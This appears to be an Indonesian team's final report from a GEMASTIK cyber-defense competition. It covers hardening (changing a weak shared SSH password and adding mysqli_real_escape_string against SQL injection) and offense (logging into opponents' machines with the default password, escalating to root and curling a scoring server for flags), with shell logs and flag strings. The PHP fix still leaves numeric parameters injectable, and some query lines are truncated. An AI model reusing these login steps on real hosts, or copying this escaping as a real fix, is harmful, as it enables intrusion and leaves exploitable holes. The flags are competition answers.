LAPORAN FINAL CND GEMASTIK

HARDENING

NO	ITEM	PENJELASAN
1	Jenis Celah Keamanan/Kesalahan Konfigurasi	Weak SSH password
	Lokasi Potensi Celah Keamanan/Kesalahan Konfigurasi	/etc/shadow
	Deskripsikan impact atau akibat yang dapat ditimbulkan karena potensi celah keamanan/kesalahan konfigurasi yang terjadi	karena semua peserta memiliki username dan password yang sama, jadi peserta lain hanya tinggal mencari IP dari service
	Mitigasi/Solusi yang telah dilakukan. Jelaskan secara rinci step by step (jangan dalam bentuk narasi)	1. Masukkan perintah `passwd ubuntu` 2. Masukkan password lama 3. Masukkan password baru
2	Jenis Celah Keamanan/Kesalahan Konfigurasi	SQL Injection
	Lokasi Potensi Celah Keamanan/Kesalahan Konfigurasi	/var/www/web/index.php
	Deskripsikan impact atau akibat yang dapat ditimbulkan karena potensi celah keamanan/kesalahan konfigurasi yang terjadi	Orang lain bisa melihat isi dari database
	Mitigasi/Solusi yang telah dilakukan. Jelaskan secara rinci step by step (jangan dalam bentuk narasi)	Menambahkan mysqli_real_escape_string() pada setiap input user

```php
if (isset($_REQUEST['edit'])) {
    $id = mysqli_real_escape_string($sqli, $_REQUEST['edit']);
    $update = true;
    $record = mysqli_query($sqli, "SELECT * FROM emp WHERE empno=$id");

    if (count($record) == 1 ) {
        $num = mysqli_fetch_array($record);
        $id = $num['empno'];
        $name = $num['empname'];
        $sal = $num['sal'];
    }

}
if(isset($_REQUEST['save'])){
    $id   = mysqli_real_escape_string($sqli, $_REQUEST['id']);
    $name = mysqli_real_escape_string($sqli, $_REQUEST['name']);
    $sal  = mysqli_real_escape_string($sqli, $_REQUEST['salary']);
    mysqli_query($sqli, "INSERT INTO `emp` (`empno`, `empname`, `sal`)
    $_SESSION['msg'] = "Employee Saved";
    header("location:index.php");

}
if(isset($_REQUEST['update'])){
    $id   = mysqli_real_escape_string($sqli, $_REQUEST['id']);
    $name = mysqli_real_escape_string($sqli, $_REQUEST['name']);
    $sal  = mysqli_real_escape_string($sqli, $_REQUEST['salary']);

    mysqli_query($sqli, "UPDATE emp SET empname = '$name', sal = $sal W
    $_SESSION['msg']= "Employee Data Updated.";
    header("location:index.php");

}
if(isset($_REQUEST['del'])){
    $id = mysqli_real_escape_string($sqli, $_REQUEST['del']);
    mysqli_query($sqli, "DELETE FROM emp WHERE empno = $id");
    $_SESSION['msg'] = "Employee Data is deleted";
    header("location:index.php");
}
```

OFFENSIVE

NO	ITEM	PENJELASAN
1	IP Address Mesin Target	13.212.244.212
	Jenis Celah Keamanan/Kesalahan Konfigurasi	Weak SSH Password
	Lokasi Potensi Celah Keamanan/Konfigurasi	/etc/shadow
	Jelaskan secara rinci step by step langkah-langkah dalam mengeksploitasi celah keamanan yang ada	1. konek dengan cara `ssh ubuntu@13.212.244.212` 2. masukkan password: `gemastik` 3. ubah user ke root dengan cara `sudo su` 4. akses /root, read kode.txt, akan isi URL http://157.230.240.150/flag.php?kode=heh4iuhqdgexb 5. get non-root flag: curl http://157.230.240.150/flag.php 6. get root flag: curl http://157.230.240.150/flag.php?kode=heh4iuhqdgexb

	Lampirkan Screenshot atau bukti lain bahwa celah keamanan ini valid.	*kami mendapat celah ini sebelum password ssh diganti, jadi kami tidak punya ss ketika akan connect. Tapi kita memiliki ss ketika akan mengambil flag
		`root@ip-172-31-37-104:~# cat kode.txt`
		`untuk mendapatkan flag silakan akses http://157.230.240.150/flag.php?kode=heh4iuhqdgexb`
		`root@ip-172-31-37-104:~# curl http://157.230.240.150/flag.php?kode=heh4iuhqdgexb`
		`gemastik14{DwBanpdikmQVzVjkevePZGHSRGjrZySvcJ}root@ip-172-31-37-104:~#`
		`root@ip-172-31-37-104:~# curl http://157.230.240.150/flag.php`
		`gemastik14{zVgNBVmLGSPjajshXKcZYXxqGGchCJDBp}root@ip-172-31-37-104:~# exit`
		`exit`

2	IP Address Mesin Target	13.212.10.103
	Jenis Celah Keamanan/Kesalahan Konfigurasi	Weak SSH Password
	Lokasi Potensi Celah Keamanan/Konfigurasi	/etc/shadow
	Jelaskan secara rinci step by step langkah-langkah dalam mengeksploitasi celah keamanan yang ada	7. konek dengan cara `ssh ubuntu@13.212.10.103` 8. masukkan password: `gemastik` 9. ubah user ke root dengan cara `sudo su` 10. akses /root, read kode.txt, akan isi URL http://157.230.240.150/flag.php?kode=kjp9654c6bjmk 11. get non-root flag: curl http://157.230.240.150/flag.php 12. get root flag: curl http://157.230.240.150/flag.php?kode=kjp9654c6bjmk
	Lampirkan Screenshot atau bukti lain bahwa celah keamanan ini valid.	*kami mendapat celah ini sebelum password ssh diganti, jadi kami tidak punya ss ketika akan connect. Tapi kita memiliki ss ketika akan mengambil flag

		root@ip-172-31-35-116:/var/log/apache2# cat /root/kode.txt untuk mendapatkan flag silakan akses http://157.230.240.150/flag.php?kode=kjp9654c6bjmk root@ip-172-31-35-116:/var/log/apache2# curl http://157.230.240.150/flag.php?kode=kjp9654c6bjmk gemastik14{YvJwwxxcbDyjsnmBEmfjdmDSZYJapeccx}root@ip-172-31-35-116:/var/log/apache2# curl http://157.230.240.150/flag.php gemastik14{grzSdQTVQQEgyYuuzcxhAHFDPzvXqmtTf}root@ip-172-31-35-116:/var/log/apache2#